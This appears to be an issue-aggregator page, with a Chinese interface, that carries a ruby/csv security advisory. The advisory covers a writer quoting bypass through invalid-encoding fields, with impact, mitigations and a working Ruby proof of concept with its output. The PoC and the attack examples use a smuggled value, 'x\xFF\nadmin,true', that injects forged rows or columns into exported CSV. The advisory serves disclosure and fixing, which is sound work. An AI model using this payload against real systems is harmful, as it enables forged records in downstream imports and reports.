CSV writer emits invalid-encoding fields unquoted, allowing row and column injection

未關閉 適合新手
#395 0 則留言 0 個 reaction 已指派 0 人 在 GitHub 檢視

還沒有人認領這個 Issue。

評估

難度
2/5
預估耗時
1-3 小時
新手友好度
70/100
Issue 類型
缺陷
描述清晰度
描述清楚
活躍度
活躍
技術堆疊
ruby
領域
data

研究方向

從 lib/csv/writer.rb:200 開始,查看 writer 決定是否需要為欄位加上引號的位置,並追蹤無效編碼如何影響這項判斷。檢查 writer 既有測試中欄位包含換行符號、逗號和引號的情況。完成標準是:包含這些字元且編碼無效的欄位會加上引號或遭到拒絕,因此無法建立額外的記錄或欄。

由索引模型根據 Issue 內容生成。

描述

About

Title: CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Repository: ruby/csv
Location: lib/csv/writer.rb:200
Severity: Medium
Impacted versions: 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

When the writer decides whether a field needs quoting, it first checks
field.valid_encoding?. If the field contains an invalid byte for its encoding, that
check is false and the writer emits the field raw, with no quotes. The guard was added to
avoid an exception from the regular expression used for the check, but it also disables
the escaping that normally keeps a field containing a newline, a comma or a quote
character from becoming multiple records or columns.

A value such as "x\xFF\nadmin,true" tagged as UTF-8 (or Shift_JIS / EUC-JP with the same
invalid byte) is written as two lines. The exporter believes it wrote one field, but the
file now contains an extra record. The same text without the invalid byte, or a binary
(ASCII-8BIT) string, is correctly wrapped in quotes. The behavior exists in releases 3.1.6
through 3.3.8; before 3.1.6 the same input raised an exception instead.

Impact

Any application that builds CSV from untrusted text (display names, comments, uploaded
file contents, request parameters) can be made to emit rows or columns it never wrote.
When the generated file is re-imported, opened in a spreadsheet or loaded into a database
that tolerates the stray byte, the injected record becomes real data: forged rows in
exports and reports, extra columns, and broken import/export round-trips. The writer's
quoting is the mechanism consumers rely on to keep one field from becoming several
records, so bypassing it defeats the normal protection against newline- and comma-based
field injection.

The main limitation is that a strict consumer which validates encoding will reject the
output (Ruby's own CSV.parse on the default UTF-8 path raises InvalidEncodingError).
The injection is realised by byte-oriented consumers, legacy-codepage importers and
spreadsheets that do not reject the invalid byte. The field must also come from a
multibyte encoding with an invalid sequence: ASCII-8BIT and ISO-8859-1 strings are always
valid and are quoted normally. Using force_quotes: true also quotes the field and avoids
the bypass.

Mitigations

Sanitise/validate field encodings before handing them to the writer (e.g. field.scrub,
reject valid_encoding? == false, or transcode to UTF-8 and drop invalid bytes), and
prefer binary output (String#b) for untrusted data. A fix in the library is to quote (or
raise on) invalid-encoding fields instead of emitting them raw -- build the quoting
decision without the regexp (String#include? checks) so an invalid byte cannot disable
escaping.

Examples
example 1

An internal reporting tool exports user-supplied display names with CSV.generate. An
attacker sets a name to x\xFF\nadmin,true (a UTF-8 string containing one invalid byte).
The exported file contains a second row, admin,true; a downstream billing importer that
reads bytes adds a forged administrator record to its input.

example 2

A support portal exports survey responses and a partner system ingests the file with a
byte-oriented CSV loader. A response containing x\xFF,approved produces an extra column,
so the partner's fixed-column import treats attacker-controlled text as a status field.

example 3

A log-export job writes attacker-controlled comment text with CSV.generate_line. A
comment containing an invalid byte and a newline is emitted unquoted; when an analyst
opens the file in a spreadsheet using a legacy codepage, the newline starts a new row, and
the analyst sees a record that was never in the source data.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b686-7ad7-8bf1-2767b3798643
#
#   CSV::Writer#quote skips quoting altogether when field.valid_encoding? is
#   false (a guard added in a4b528c to avoid a Regexp::ArgumentError).  A field
#   that carries an ASCII-compatible multibyte encoding (UTF-8, Shift_JIS,
#   EUC-JP) and one invalid byte is therefore written raw -- even though it
#   contains CR/LF, the column separator or the quote character.  The exported
#   file then contains a record the exporter never wrote.
#
#   Any consumer that tolerates the byte (CSV.parse with encoding:
#   "ASCII-8BIT", a database loader, a spreadsheet, another language's CSV
#   reader) sees the attacker's extra row/columns.
#
# Usage:
#   ruby csv_writer_quoting_bypass.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"

def export(*fields)
  CSV.generate_line(fields)
end

def consumer_view(line)
  CSV.parse(line.b, encoding: "ASCII-8BIT")
end

ADMIN_ROW = "admin,true"

fixtures = {
  "UTF-8 (invalid byte)"    => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "UTF-8 (valid control)"   => ["x\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "Shift_JIS (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("Shift_JIS")],
  "EUC-JP (invalid byte)"   => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("EUC-JP")],
  "ASCII-8BIT (any bytes)"  => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("ASCII-8BIT")],
}

# The exporter writes fields it believes it has quoted; the CSV is then read
# back by the same process to prove what a consumer gets.
records = [
  ["id", "name", "role"],
  ["1", fixtures["UTF-8 (invalid byte)"][0], "user"],
]
line = records.map { |record| export(*record) }.join
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "exported bytes : #{line.inspect}"
puts "exported rows  : #{records.size} (one header, one user)"
puts "consumer sees  : #{consumer_view(line).inspect}"
puts

puts "per-encoding behaviour (does the writer quote a field containing a newline?):"
injected = false
fixtures.each do |name, fields|
  field = fields.first
  out = export("user", field, "role")
  rows = consumer_view(out)
  quoted = out.include?("\"")
  row_injected = rows.size == 2
  injected ||= row_injected && name != "UTF-8 (valid control)"
  printf("  %-26s valid_encoding?=%-5s quoted=%-5s consumer rows=%d%s\n",
         name, field.valid_encoding?, quoted, rows.size,
         row_injected ? "  <-- extra record: #{rows[1].inspect}" : "")
end

still_unquoted = export(
  "user", fixtures["UTF-8 (invalid byte)"][0], "role"
).include?("\n")
reparsed = consumer_view(export("user", fixtures["UTF-8 (invalid byte)"][0], "role"))

puts
if injected && still_unquoted && reparsed.size == 2
  puts "RESULT: quoting bypassed.  A field that the writer would normally quote"
  puts "        (\"x\\ny\" -> \"\\\"x\\ny\\\"\") is emitted raw as soon as it also carries one"
  puts "        invalid UTF-8 byte, so the exported file contains the extra record"
  puts "        #{reparsed[1].inspect} and the extra columns it carries."
  exit 0
end

puts "RESULT: no quoting bypass observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_writer_quoting_bypass.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
exported bytes : "id,name,role\n1,x\xFF\nadmin,true,user\n"
exported rows  : 2 (one header, one user)
consumer sees  : [["id", "name", "role"], ["1", "x\xFF"], ["admin", "true", "user"]]

per-encoding behaviour (does the writer quote a field containing a newline?):
  UTF-8 (invalid byte)       valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  UTF-8 (valid control)      valid_encoding?=true  quoted=true  consumer rows=1
  Shift_JIS (invalid byte)   valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  EUC-JP (invalid byte)      valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  ASCII-8BIT (any bytes)     valid_encoding?=true  quoted=true  consumer rows=1

RESULT: quoting bypassed.  A field that the writer would normally quote
        ("x\ny" -> "\"x\ny\"") is emitted raw as soon as it also carries one
        invalid UTF-8 byte, so the exported file contains the extra record
        ["admin", "true", "role"] and the extra columns it carries.
主要語言
Ruby
星號
221
分支
142
平均合併
1 天 40 分鐘
30 天內合併 PR
2

環境準備

這個專案沒有提供開發容器、Dockerfile 或貢獻指南,環境需要你自己搭建:先看它的 README,通用步驟見我們的新手貢獻指南。

從這裡開始

  1. 先讀完整個 Issue,再讀專案的貢獻指南。
  2. 在 Issue 下留言說明你要接手 —— 這能避免兩個人做同樣的事。
  3. Fork 儲存庫,在一個分支上完成修改。
  4. 送出 Pull Request,並在描述裡引用這個 Issue 編號。

ruby/csv 的其他 Issue

查看 ruby/csv 的全部 Issue

相似的 Issue

更多 Ruby Issue

把新 issue 寄到你的電子郵件信箱

精選適合新手參與的 GitHub issue 摘要。